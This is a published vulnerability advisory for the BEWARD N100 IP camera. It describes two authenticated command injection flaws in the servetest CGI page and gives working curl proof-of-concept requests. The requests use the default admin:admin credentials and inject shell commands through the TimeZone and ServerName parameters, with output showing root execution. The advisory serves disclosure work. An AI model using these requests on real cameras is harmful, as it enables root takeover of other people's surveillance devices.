BEWARD N100 H.264 VGA IP Camera M2.1.6 Root Remote Code Execution

`BEWARD N100 H.264 VGA IP Camera M2.1.6 Root Remote Code Execution  
  
  
Vendor: Beward R&D Co., Ltd  
Product web page: https://www.beward.net  
Affected version: M2.1.6.04C014  
  
Summary: The N100 compact color IP camera with support for a more efficient  
compression format is optimized for low-speed networks, thanks to which it  
transmits a real-time image over the network with minimal delays. The camera  
supports the switching of the broadcast modes, and in the event of a break in  
communication with the remote file storage, it can continue recording to the  
microSDHC memory card. N100 is easy to install and configure, has all the  
necessary arsenal for the organization of low-cost professional video surveillance  
systems.  
  
Desc: The camera suffers from two authenticated command injection vulnerabilities.  
The issues can be triggered when calling ServerName or TimeZone GET parameters  
via the servertest page. This can be exploited to inject arbitrary system commands  
and gain root remote code execution.  
  
Tested on: Boa/0.94.14rc21  
Farady ARM Linux 2.6  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2019-5512  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5512.php  
  
  
26.01.2019  
  
--  
  
---------------------------  
TimeZone command injection:  
  
root@ground:~# curl -X $'GET' -H $'Authorization: Basic YWRtaW46YWRtaW4=' $'http://TARGET/cgi-bin/operator/servetest?cmd=ntp&ServerName=pool.ntp.org&TimeZone=03:00|id||'  
HTTP/1.1 200 OK  
Date: Sun, 01 Jan 2012 10:15:53 GMT  
Server: Boa/0.94.14rc21  
Accept-Ranges: bytes  
Connection: close  
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)  
Content-type: text/plain  
  
ntp update  
0 OK  
  
  
-----------------------------  
ServerName command injection:  
  
root@ground:~# curl -X $'GET' -H $'Authorization: Basic YWRtaW46YWRtaW4=' $'http://TARGET/cgi-bin/operator/servetest?cmd=ntp&ServerName=pool.ntp.org|id||&TimeZone=03:00'  
HTTP/1.1 200 OK  
Date: Sun, 01 Jan 2012 10:22:11 GMT  
Server: Boa/0.94.14rc21  
Accept-Ranges: bytes  
Connection: close  
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)  
Content-type: text/plain  
  
ntp update  
0 OK  
`